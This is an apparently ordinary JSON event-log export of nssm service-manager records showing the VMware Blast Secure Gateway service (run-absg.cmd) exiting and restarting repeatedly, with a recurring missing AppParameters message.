{"@timestamp":1646668849148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156508}}
{"@timestamp":1646668849149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156509}}
{"@timestamp":1646668977638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156510}}
{"@timestamp":1646668977640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156511}}
{"@timestamp":1646668977641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153076","0"]}}},"module":"Application","provider":"nssm","sequence":156512}}
{"@timestamp":1646668977642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153076","153076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156513}}
{"@timestamp":1646668977657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156514}}
{"@timestamp":1646668977658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156515}}
{"@timestamp":1646668977658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156516}}
{"@timestamp":1646668977659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156517}}
{"@timestamp":1646669106282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156518}}
{"@timestamp":1646669106283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156519}}
{"@timestamp":1646669106283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151972","0"]}}},"module":"Application","provider":"nssm","sequence":156520}}
{"@timestamp":1646669106283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151972","151972","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156521}}
{"@timestamp":1646669106300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156522}}
{"@timestamp":1646669106301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156523}}
{"@timestamp":1646669106301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156524}}
{"@timestamp":1646669106302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156525}}
{"@timestamp":1646669234801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156526}}
{"@timestamp":1646669234802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156527}}
{"@timestamp":1646669234802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153448","0"]}}},"module":"Application","provider":"nssm","sequence":156528}}
{"@timestamp":1646669234803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153448","153448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156529}}
{"@timestamp":1646669234818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156530}}
{"@timestamp":1646669234819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156531}}
{"@timestamp":1646669234819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156532}}
{"@timestamp":1646669234820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156533}}
{"@timestamp":1646669363313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156534}}
{"@timestamp":1646669363315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156535}}
{"@timestamp":1646669363316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154072","0"]}}},"module":"Application","provider":"nssm","sequence":156536}}
{"@timestamp":1646669363317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154072","154072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156537}}
{"@timestamp":1646669363337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156538}}
{"@timestamp":1646669363337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156539}}
{"@timestamp":1646669363338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156540}}
{"@timestamp":1646669363338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156541}}
{"@timestamp":1646669491974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156542}}
{"@timestamp":1646669491975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156543}}
{"@timestamp":1646669491975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153332","0"]}}},"module":"Application","provider":"nssm","sequence":156544}}
{"@timestamp":1646669491975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153332","153332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156545}}
{"@timestamp":1646669491990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156546}}
{"@timestamp":1646669491991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156547}}
{"@timestamp":1646669491992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156548}}
{"@timestamp":1646669491992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156549}}
{"@timestamp":1646669620490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156550}}
{"@timestamp":1646669620491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156551}}
{"@timestamp":1646669620491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153728","0"]}}},"module":"Application","provider":"nssm","sequence":156552}}
{"@timestamp":1646669620492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153728","153728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156553}}
{"@timestamp":1646669620510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156554}}
{"@timestamp":1646669620510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156555}}
{"@timestamp":1646669620511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156556}}
{"@timestamp":1646669620512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156557}}
{"@timestamp":1646669749010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156558}}
{"@timestamp":1646669749010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156559}}
{"@timestamp":1646669749011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152300","0"]}}},"module":"Application","provider":"nssm","sequence":156560}}
{"@timestamp":1646669749011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152300","152300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156561}}
{"@timestamp":1646669749027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156562}}
{"@timestamp":1646669749027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156563}}
{"@timestamp":1646669749028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156564}}
{"@timestamp":1646669749029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156565}}
{"@timestamp":1646669877538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156566}}
{"@timestamp":1646669877538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156567}}
{"@timestamp":1646669877539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154032","0"]}}},"module":"Application","provider":"nssm","sequence":156568}}
{"@timestamp":1646669877539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154032","154032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156569}}
{"@timestamp":1646669877555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156570}}
{"@timestamp":1646669877556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156571}}
{"@timestamp":1646669877556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156572}}
{"@timestamp":1646669877557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156573}}
{"@timestamp":1646670006058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156574}}
{"@timestamp":1646670006059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156575}}
{"@timestamp":1646670006059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153780","0"]}}},"module":"Application","provider":"nssm","sequence":156576}}
{"@timestamp":1646670006060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153780","153780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156577}}
{"@timestamp":1646670006078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156578}}
{"@timestamp":1646670006079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156579}}
{"@timestamp":1646670006080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156580}}
{"@timestamp":1646670006080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156581}}
{"@timestamp":1646670134591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156582}}
{"@timestamp":1646670134592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156583}}
{"@timestamp":1646670134593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154200","0"]}}},"module":"Application","provider":"nssm","sequence":156584}}
{"@timestamp":1646670134594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154200","154200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156585}}
{"@timestamp":1646670134609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156586}}
{"@timestamp":1646670134610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156587}}
{"@timestamp":1646670134610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156588}}
{"@timestamp":1646670134611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156589}}
{"@timestamp":1646670263095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156590}}
{"@timestamp":1646670263095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156591}}
{"@timestamp":1646670263096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153996","0"]}}},"module":"Application","provider":"nssm","sequence":156592}}
{"@timestamp":1646670263097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153996","153996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156593}}
{"@timestamp":1646670263117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156594}}
{"@timestamp":1646670263117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156595}}
{"@timestamp":1646670263118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156596}}
{"@timestamp":1646670263119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156597}}
{"@timestamp":1646670391617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156598}}
{"@timestamp":1646670391618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156599}}
{"@timestamp":1646670391618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153900","0"]}}},"module":"Application","provider":"nssm","sequence":156600}}
{"@timestamp":1646670391619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153900","153900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156601}}
{"@timestamp":1646670391634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156602}}
{"@timestamp":1646670391635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156603}}
{"@timestamp":1646670391635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156604}}
{"@timestamp":1646670391636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156605}}
{"@timestamp":1646670520246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156606}}
{"@timestamp":1646670520249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156607}}
{"@timestamp":1646670520249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153284","0"]}}},"module":"Application","provider":"nssm","sequence":156608}}
{"@timestamp":1646670520250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153284","153284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156609}}
{"@timestamp":1646670520269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156610}}
{"@timestamp":1646670520270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156611}}
{"@timestamp":1646670520270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156612}}
